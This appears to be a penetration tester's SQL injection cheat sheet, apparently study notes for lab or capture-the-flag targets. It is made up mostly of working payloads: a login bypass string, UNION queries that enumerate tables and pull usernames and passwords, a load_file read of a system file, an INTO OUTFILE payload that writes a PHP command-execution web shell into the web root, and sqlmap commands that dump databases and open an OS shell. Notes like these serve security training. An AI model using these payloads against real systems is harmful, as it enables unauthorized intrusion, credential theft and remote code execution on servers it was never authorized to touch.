SQLi Authentication Bypass
A SQL query for a normal login, then, looks like this:
1
select * from users where name = 'tom' and password = 'jones';
If we control the value being passed in as $user, we can subvert the logic of the query by submitting tom' or 1=1;#
as our username, which creates a query like this:
1
select * from users where name = 'tom' or 1=1;#' and password = 'jones';
SQLi payload:
1
tom' or 1=1;#
The pound character (#) is a comment marker in MySQL/MariaDB. It effectively removes the rest of the statement, so we’re left with:
1
select * from users where name = 'tom' or 1=1;
If we do encounter errors when our payload is returning multiple rows, we can instruct the query to return a fixed number of records with the LIMIT statement:
1
select * from users where name = 'tom' or 1=1 LIMIT 1;#
SQLite3
UNION Select
SQLite3 entrypoint:
1
http://192.168.186.52/debug.php?id=%27%27%20union%20select%20id,username,username,password,flag%20from%20users;--%20-
We need to know column and table names if we are going to extract data from them. This helps us execute a more surgical data extraction
We can add an order by clause to the query for simple enumeration. This clause tells the database to sort the results of the query by the values in one or more columns. We can use column names or the column index in the query.
Let’s submit the following URL:
1
http://10.11.0.22/debug.php?id=1 order by 1
This query instructs the database to sort the results based on the values in the first column. If there is at least one column in the query, the query is valid and the page will render without errors. We can submit multiple queries, incrementing the order by clause each time until the query generates an error, indicating that the maximum number of columns returned by the query in question has been exceeded. Remember, a query can select all the columns in a table or just a subset of columns. We need to rely on this trial-and-error approach if we do not have access to the source query.
SQLi Payload:
1
'' union select id,time,username,password,flag from users;-- -
SQLi Payload: After id=:
1
http://10.11.0.22/debug.php?id=1 union select 1,2,3,4,5 from users;-- -
SQLi Payload:
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version
MariaDB
The following examples use commands specific to MariaDB. However, most other databases offer similar functionality with slightly different syntax. Regardless of what database software we target, it’s best to understand the platform-specific commands.
For example, to output the version of MariaDB, we can use this URL:
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version
This should output a “2” in the name field and the database version number in the comment field:
Good. It looks like that’s working. Next, let’s output the current database user with this query:
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()
This query reveals that the root user is being used for database queries:
We can enumerate database tables and column structures through the information_schema. The information schema stores information about the database, like table and column names. We can use it to get the layout of the database so that we can craft better payloads to extract sensitive data. The query for this would look similar to the following:
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables
This should output a lot of data, most of which references information about the default objects in MariaDB. It will also include the table names but we will need to scroll through the output to find them.
The users table looks particularly interesting. Let’s target that table and retrieve the column names with the following query:
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
This outputs all the column names for the users table:
Armed with this information, we can extract the usernames and passwords from the table. We know that the original query selects three columns and the web page displays columns two and three. If we update our union payload, we can display the usernames in column two and the passwords in column three.
1
http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users
This will output the database usernames in the name field and passwords in comments field:
SQL Injection to Code Execution
Read a file:
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
Using the INTO OUTFILE function to create a malicious PHP file in the server’s web root. Based on error messages we’ve already seen, we should know the location of the web root.
1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE ' C:/xampp/htdocs/site2/public/backdoor.php'
If this succeeds, the file should be placed in the web root:
This command produces an error message but this doesn’t necessarily mean the file creation was unsuccessful.
SQLMAP
Test if a paramater is vulnerable:
1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id"
List databases:
1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" --dbs
List tables from a specific database:
1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" -D <database> --tables
List columns from a specific table:
1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" -D <database> -T <table> --columns
Dump the database: List tables from a specific database:
1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" -D <database> -T <table> --dump
Execute commands:
1
sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell
SQLi with POST parameter:
1
sudo sqlmap -u "https://streamio.htb/login.php" --data "username=&password=" -p username --os-command
Examples: [[StreamIO#^6ca422]]
WebSocket
It is possible to execute an SQL Injection through a websocket. For further details read Websocket Exploitation post.
References
PayloadAllTheThings SQLite Injection SQLite database structure